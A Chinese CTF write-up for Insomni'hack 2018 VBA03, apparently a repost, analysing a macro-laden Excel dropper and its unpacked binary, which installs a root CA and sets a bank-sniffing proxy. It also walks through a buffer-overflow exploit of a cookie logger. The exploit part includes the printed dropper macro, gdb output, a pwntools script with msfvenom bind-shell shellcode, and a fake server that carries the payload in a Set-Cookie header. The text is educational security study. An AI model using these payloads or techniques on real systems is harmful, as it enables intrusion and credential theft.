这是 Insomni’hack 2018 vba 系列题目的第三题,而且 ctftime 上也没有 writeup,所以我就试着解了一下,结果服务器好像关了导致没办法继续做下去,所以只能顺着官方的文件做题了…
题目给了一个压缩包,密码是 “infected” (好像老外分享病毒的时候都在使用这个密码),解压得到一个 xls 表格,名字是 “VBA03 – Bitcoin value prediction 2.xls”,一解压出来火绒就报毒了,说是宏病毒,那就拿 oletools 工具包分析下。使用 olevba 分析如下,看来这个 “Sheet1.cls” 问题很大。
PS vba03> olevba -a '.VBA03 - Bitcoin value prediction 2.xls'
olevba 0.54.2 on Python 3.6.5 - http://decalage.info/python/oletools
===============================================================================
FILE: .VBA03 - Bitcoin value prediction 2.xls
Type: OLE
-------------------------------------------------------------------------------
VBA MACRO Module1.bas
in file: .VBA03 - Bitcoin value prediction 2.xls - OLE stream: '_VBA_PROJECT_CUR/VBA/Module1'
-------------------------------------------------------------------------------
VBA MACRO ThisWorkbook.cls
in file: .VBA03 - Bitcoin value prediction 2.xls - OLE stream: '_VBA_PROJECT_CUR/VBA/ThisWorkbook'
-------------------------------------------------------------------------------
VBA MACRO Sheet1.cls
in file: .VBA03 - Bitcoin value prediction 2.xls - OLE stream: '_VBA_PROJECT_CUR/VBA/Sheet1'
+----------+-------------+---------------------------------------------+
|Type |Keyword |Description |
+----------+-------------+---------------------------------------------+
|AutoExec |Auto_Open |Runs when the Excel Workbook is opened |
|AutoExec |Workbook_Open|Runs when the Excel Workbook is opened |
|Suspicious|Environ |May read system environment variables |
|Suspicious|Open |May open a file |
|Suspicious|Put |May write to a file (if combined with Open) |
|Suspicious|Binary |May read or write a binary file (if combined |
| | |with Open) |
|Suspicious|Shell |May run an executable file or a system |
| | |command |
|Suspicious|vbHide |May run an executable file or a system |
| | |command |
|Suspicious|Xor |May attempt to obfuscate specific strings |
| | |(use option --deobf to deobfuscate) |
|Suspicious|Hex Strings |Hex-encoded strings were detected, may be |
| | |used to obfuscate strings (option --decode to|
| | |see all) |
+----------+-------------+---------------------------------------------+
继续使用 oletools ,使用命令olevba -c '.VBA03 - Bitcoin value prediction 2.xls'
得到 “Sheet1” 的 vba 代码。
Sub Auto_Open()
Predict ("Sheet1")
End Sub
Sub Workbook_Open()
Predict ("Sheet1")
End Sub
Private Function Predict(ByVal z As String) As String
Dim zzzz As String
zzzz = "bot.txt"
Dim zzzzz As String
zzzzz = Environ("TEMP")
ChDrive (zzzzz)
Dim zzzzzz As Integer
ChDir (zzzzz)
zzzzzz = FreeFile()
Dim zzzzzzz As Integer
Dim zz As Integer
zz = 4
Open zzzz For Binary As zzzzzz
Dim zzz As Worksheet
On Error GoTo e
Set zzz = Worksheets(z)
zzzzzzz = 1
Do While zzz.Columns(zzzzzzz).Cells(zz, (5 / 3)).Value <> ""
Do While zzz.Columns(zzzzzzz).Cells(zz, (111 / 91)).Value <> ""
Put #zzzzzz, , CByte(zzz.Columns(zzzzzzz).Cells(zz, (6471 / 4911)).Value Xor (41 * 2 + 3))
zzzzzzz = zzzzzzz + (816917 / 679142)
Loop
zz = zz + Sqr(2)
zzzzzzz = 1
Loop
Close #zzzzzz
zzzzzzzz = Shell(zzzz, vbHide)
Exit Function
e:
MsgBox "Unable to predict the future"
Exit Function
End Function
分析上图的 vba 代码可以发现可疑代码zzzzz = Environ("TEMP"); ChDrive (zzzzz); ChDir (zzzzz)
将目录切换到了%TEMP%
目录下,zzzz = "bot.txt"; Open zzzz For Binary As zzzzzz
则是在%TEMP%
目录下新建了名字为bot.txt
的可疑文件,最好使用Shell()
函数执行该文件。
我们在虚拟机下装了个精简版本 office 并且使用 procmon 盯着 EXCEL.exe 的文件操作,发现 EXCEL.exe 在 “C:Users{用户名}AppDataLocalTemp” 下创建并写入了 “bot.txt” 文件。我们将此文件复制到主机上分析,发现该程序加了魔改过的 UPX 壳,使用 ESP 定律脱壳后查看相应 strings 找到位于 0x00F91050 (有ASLR)的关键函数。可以看到程序先检查了程序是否以管理员权限运行,然后再安装了一个 ROOT CA 证书来监视 https 连接,最后以 “fxp://dr-evil:Mwahahaha_666!@dr-evil.insomni.hack/autoconf.pac” 这个文件设置了 http 代理。
一分钟上手的 ESP 定律:1. 先单步找到最近的 PUSHAD。2. 执行完该 PUSHAD后对 ESP 所指内存下访问断点。3. 继续执行(gdb: continue, x64dbg: F9)。4. 断点被触发,查找当前 EIP 附近的是否有跳转到较远位置的 jmp,如果有的话,跳转位置就为 OEP。
_DWORD *MainFunc()
{
int v0; // esi
HANDLE v1; // eax
HCERTSTORE v2; // eax
_DWORD *result; // eax
int Buffer; // [esp+4h] [ebp-24h]
int v5; // [esp+8h] [ebp-20h]
int v6; // [esp+Ch] [ebp-1Ch]
_DWORD *v7; // [esp+14h] [ebp-14h]
HANDLE TokenHandle; // [esp+18h] [ebp-10h]
int TokenInformation; // [esp+1Ch] [ebp-Ch]
DWORD ReturnLength; // [esp+20h] [ebp-8h]
v0 = 0;
TokenHandle = 0;
v1 = GetCurrentProcess();
if ( OpenProcessToken(v1, 8u, &TokenHandle) )
{
ReturnLength = 4;
if ( GetTokenInformation(TokenHandle, (TOKEN_INFORMATION_CLASS)20, &TokenInformation, 4u, &ReturnLength) )
v0 = TokenInformation; // check Administrator
}
if ( TokenHandle )
CloseHandle(TokenHandle);
if ( v0 )
{
v2 = CertOpenStore((LPCSTR)0xA, 0, 0, 0x20000u, L"ROOT");
if ( !v2 )
sub_F91000((unsigned int)"Error 1");
if ( !CertAddSerializedElementToStore(v2, " ", 0x411u, 3u, 0, 2u, 0, 0) )// install root ca
sub_F91000((unsigned int)"Error 2");
}
Buffer = 20;
v5 = 0;
v6 = 2;
result = sub_F911E6(0x18u);
v7 = result;
if ( result )
{
*result = 1;
v7[1] = 4;
v7[3] = 4;
v7[4] = "ftp://dr-evil:[email protected]/autoconf.pac";
if ( !InternetSetOptionA(0, 0x4Bu, &Buffer, 0x14u) )// set http proxy
sub_F91000((unsigned int)"Error 3");
result = (_DWORD *)1;
}
return result;
}
这时候因为服务器炸了就没办法继续分析下去了…所以求助官方 WP 找到了autoconf.pac
,经过https://beautifier.io/美化后代码如下。可以看出这个规则是在匹配带有bank
字符串的网址,如果带有bank
,就使用代理监听,以窃取机密。
突然想起来国内银行的网上银行一般使用自己的英文名字缩写,不带 bank 字符串…
function FindProxyForURL(_0x8d97x2, _0x8d97x3) {
if (shExpMatch(_0x8d97x2, '*bank*')) {
return 'PROXY dr-evil.insomni.hack:6666'
}
}
可以看到程序暴露了 “dr-evil.insomni.hack:6666” 这个代理服务器,和 “fxp://dr-evil:Mwahahaha_666!(at)dr-evil.insomni.hack” 这个文件服务器。
题目的本意叫我们黑掉这个服务器拿到 flag,但是服务器关了怎么黑(我宁愿关站也不做等保测评.html)。所以只能顺着官方给出的文件https://github.com/Insomnihack/Insomnihack-2018/tree/master/StrikeBack/Mitmdump,可以看到 “cookie_logger.c” 和 “mitmdump_script.py” 文件。”mitmdump_script.py” 是一个代理,当发现回复中带有 “Set-Cookie” 字段时候调用 “cookie_logger” 记录下 cookie。下面是 “cookie_logger” 源代码。
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
#include <time.h>
/*
* Mwahahaha!
*
* This scirpt log the cookie recieved from the Set-Cookie of HTTP responses!
*
* Example usage:
* ./cookie_logger "www.npb-bank.ch" "PHPSESSID=0ae08d562bc9a5ab9ab9c737810c6d1a; path=/"
*
* [X] TODO_1: i tested it and it logs my own cookies! redact them
* [X] TODO_2: someone told me they're is a bufer over flaw in the fix of TODO_1?! fix it azap
* [ ] TODO_3: make it gooder (curently its only working with < 512 chars
*/
// fix for TODO_1, tested working
char* redact(char *buf, char *to_redact) {
char redacted[512];
if(strstr(to_redact,"dr-evil"))
strcpy(redacted,"[REDACTED]");
else {
strcpy(redacted,to_redact);
}
strncpy(buf,redacted,512);//fixed the buf over flaw! (TODO_2)
return buf;
}
// Main
int main(int argc, char **argv)
{
char cookie[512];
char host[512];
//build the csv with a timestamp
printf(""%ld","%s","%s"n",time(NULL),redact(host,argv[1]),redact(cookie,argv[2]));
}
一眼就能看到这两个strcpy()
有问题…还有这个注释 “[ ] TODO_3: make it gooder (curently its only working with < 512 chars”更是明确了问题。接下来就是下载文件进行分析了。可以看到保护全部没开。那就好办了。
[*] '/vb03/cookie_logger'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
注意!我拿着官方给的”cookie_logger”二进制文件试图构造利用链,但是发现带 0 字符的字符串是不能作为程序的参数传入的,也就是说如果源程序是 64 位的话,地址是传不进去的,那就无法构造利用链…然后我看了看官方 WP 里的地址长度,是 4 字节长…可能是官方放错文件了吧。
所以我就用gcc -m32 cookie_logger.c -o cookie_new -O0 -fno-stack-protector -z execstack -no-pie
再编译了一个 “cookie_logger”。
官方 WP 用一组命令来实现定位溢出点。
$ ./cookie_logger "www.example.com" "$(/usr/bin/msf-pattern_create --l 528)"
Segmentation fault
$ dmesg | tail -1
[309881.352326] cookie_logger[32684]: segfault at 35724134 ip 0000000035724134 sp 00000000ff90bce0 error 14
$ /usr/bin/msf-pattern_offset -q 35724134
[*] Exact match at offset 524
我比较土,用 pwntools 的 cyclic 和 gdb 来定位溢出点,不过原理是一样的,查看 ret 的地址,再配合 pwntools 的 cyclic_find 函数即可确定溢出位置。
$ python -c "from pwn import *; print(cyclic(600, n=4))"
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaaepaaeqaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaaf
$ gdb cookie_new
pwndbg> set args 2 aaaa...
pwndbg> r
Program received signal SIGSEGV, Segmentation fault.
0xf7e64900 in ?? () from /lib32/libc.so.6
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────[ REGISTERS ]────────
EAX 0x66616168 ('haaf')
EBX 0x200
ECX 0x0
EDX 0x0
EDI 0x66616168 ('haaf')
ESI 0xffffc990 ◂— 0x61616161 ('aaaa')
EBP 0xffffcb98 ◂— 'faafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaaf'
ESP 0xffffc970 —▸ 0xf7fae000 ◂— insb byte ptr es:[edi], dx /* 0x1d9d6c */
EIP 0xf7e64900 ◂— movdqu xmmword ptr [edi], xmm1
─────────[ DISASM ]─────────
► 0xf7e64900 movdqu xmmword ptr [edi], xmm1
0xf7e64904 pmovmskb edx, xmm0
0xf7e64908 cmp ebx, 0x21
0xf7e6490b jbe 0xf7e64b20
↓
0xf7e64b20 add edi, 0x10
0xf7e64b23 add esi, 0x10
0xf7e64b26 sub ebx, 0x10
0xf7e64b29 test edx, edx
0xf7e64b2b jne 0xf7e64a9b
─────────[ STACK ]──────────
00:0000│ esp 0xffffc970 —▸ 0xf7fae000 ◂— insb byte ptr es:[edi], dx /* 0x1d9d6c */
01:0004│ 0xffffc974 —▸ 0xffffcfe0 ◂— 0x3
02:0008│ 0xffffc978 —▸ 0x804c000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x804bf14 (_DYNAMIC) ◂— add dword ptr [eax], eax
03:000c│ 0xffffc97c —▸ 0x804921b (redact+121) ◂— add esp, 0x10
04:0010│ 0xffffc980 ◂— 0x66616168 ('haaf')
Program received signal SIGSEGV (fault address 0x66616168)
$ python -c "from pwn import *; print(cyclic_find(0x66616168, n=4))"
528
然后就是看看 ROPgadget 来构造利用链了,由于保护全关,所以使用 shellcode 是最简单的,于是我们用 ROPgadget 找到了 “call eax” 这个 gadget。
$ ROPgadget --binary cookie_new | grep 'call'
0x08049019 : call eax
但是我们可控输入的位置是未知的,而且好像还没相关函数进行泄露,所以我们再用 ROPgadget 看看 eax 是否可控。看到两个 gadgets。
$ ROPgadget --binary cookie_new | grep 'mov eax'
0x0804921c : les edx, ptr [eax] ; mov eax, dword ptr [ebp + 8] ; mov ebx, dword ptr [ebp - 4] ; leave ; ret
0x0804921e : mov eax, dword ptr [ebp + 8] ; mov ebx, dword ptr [ebp - 4] ; leave ; ret
我们用 IDA 看到 0x0804921e
附近是什么,可以看到 IDA 贴心的告诉我们 0x0804921e
这个 gadget 是将redact
的第一个参数作为返回值赋值给了 eax。由于溢出点在redaxt()
函数,eax 所指向的内容可控。所以我们将 shellcode 作为redact
第一个参数中即可让 shellcode 执行。
.text:080491A2 arg_0 = dword ptr 8
.text:08049204 sub esp, 4
.text:08049207 push 200h ; n
.text:0804920C lea eax, [ebp+dest]
.text:08049212 push eax ; src
.text:08049213 push [ebp+arg_0] ; dest
.text:08049216 call _strncpy
.text:0804921B add esp, 10h
.text:0804921E mov eax, [ebp+arg_0]
.text:08049221 mov ebx, [ebp+var_4]
.text:08049224 leave
.text:08049225 retn
结合上面的思路,使用生成正向 shell 的 shellcode 构造如下 payload。在本机上用nc 127.0.0.1 12345
连接成功。
from pwn import *
context.log_level = 'debug'
callRax = 0x08049019
# msfvenom -a x86 --platform linux -p linux/x86/shell_bind_tcp LPORT=12345 --bad-chars ";nrx0ax00" -f py
shellcode = ""
shellcode += "xbdxa1x29x4fx31xdaxd1xd9x74x24xf4x5fx2b"
shellcode += "xc9xb1x14x83xc7x04x31x6fx10x03x6fx10x43"
shellcode += "xdcx7exeax74xfcxd2x4fx29x69xd7xc6x2cxdd"
shellcode += "xb1x15x2ex45x60xf4x46x78x9cxc8xafx16x8c"
shellcode += "x79x9fx6fx4dx13x79x28x43x64x0cx89x5fxd6"
shellcode += "x0axbax06xd5x92xf9x76x83x5fx7dxe5x15x35"
shellcode += "x41x52x6bx49xf4x1bx8bx21x28xf3x18xd9x5e"
shellcode += "x24xbdx70xf1xb3xa2xd2x5ex4dxc5x62x6bx80"
shellcode += "x86"
padding = 'A' * (524 - len(shellcode))
payload = shellcode + padding + p32(callRax)
log.info('len of payload: {}'.format(len(payload)))
argvs = ['./cookie_new', 'http://www.bank.com', payload]
r = process(argv=argvs)
#gdb.attach(r, gdbscript=script)
r.interactive()
接下来就是搭建一个假服务器,服务器的返回中带有恶意的”Set-Cookie”字段,最后使用恶意代理访问来 get 恶意代理的 shell。假的服务器文件如下,使用python {假的服务器文件名} | nc -nlvp 80
搭建一个简单的服务器,然后使用dr-evil.insomni.hack:6666
这个代理访问假服务器,就能拿到一个正向 shell。
这里图方便使用了正向 shell,但是正向 shell 一般会被防火墙拦截,所以使用反向 shell 是最合适的。
from pwn import *
context.log_level = 'debug'
callRax = 0x08049019
# msfvenom -a x86 --platform linux -p linux/x86/shell_bind_tcp LPORT=12345 --bad-chars ";nrx0ax00" -f py
shellcode = ""
shellcode += "xbdxa1x29x4fx31xdaxd1xd9x74x24xf4x5fx2b"
shellcode += "xc9xb1x14x83xc7x04x31x6fx10x03x6fx10x43"
shellcode += "xdcx7exeax74xfcxd2x4fx29x69xd7xc6x2cxdd"
shellcode += "xb1x15x2ex45x60xf4x46x78x9cxc8xafx16x8c"
shellcode += "x79x9fx6fx4dx13x79x28x43x64x0cx89x5fxd6"
shellcode += "x0axbax06xd5x92xf9x76x83x5fx7dxe5x15x35"
shellcode += "x41x52x6bx49xf4x1bx8bx21x28xf3x18xd9x5e"
shellcode += "x24xbdx70xf1xb3xa2xd2x5ex4dxc5x62x6bx80"
shellcode += "x86"
padding = 'A' * (524 - len(shellcode))
payload = shellcode + padding + p32(callRax)
print("HTTP/1.1 200 OK")
print("Date: Mon, 27 Jul 2009 12:28:53 GMT")
print("Server: Apache/2.2.14 (Win32)")
print("Last-Modified: Wed, 22 Jul 2009 19:15:56 GMT")
print("Content-Length: 52")
print("Content-Type: text/html")
print("Connection: Closed")
print("Set-Cookie: " + payload)
print("")
print("<html>")
print("<body>")
print("<h1>Hello, World!</h1>")
print("</body>")
print("</html>")
print("")
print("")
这个 ctf 题除了最后黑吃黑部分之外,其他都贴近日常的病毒分析,包括 vba 宏分析,脱壳,分析恶意代码逻辑,信息收集等。所以写文记录。
refs
https://github.com/Insomnihack/Insomnihack-2018/tree/master/StrikeBack
https://blog.scrt.ch/2018/05/04/insomnihack-2018-vba03-strikeback-writeup/
- 结尾 - 精彩推荐 【技术分享】MIPS缓冲区溢出学习实践 【技术分享】【CTF攻略】第三届XCTF——郑州站ZCTF第一名战队Writeup 【技术分享】FRIDA-API使用篇:rpc、Process、Module、Memory使用方法及示例 戳“阅读原文”查看更多内容 原文始发于微信公众号(安全客):【技术分享】ctf 中的病毒分析: Insomni’hack 2018 – vba03-strikeBack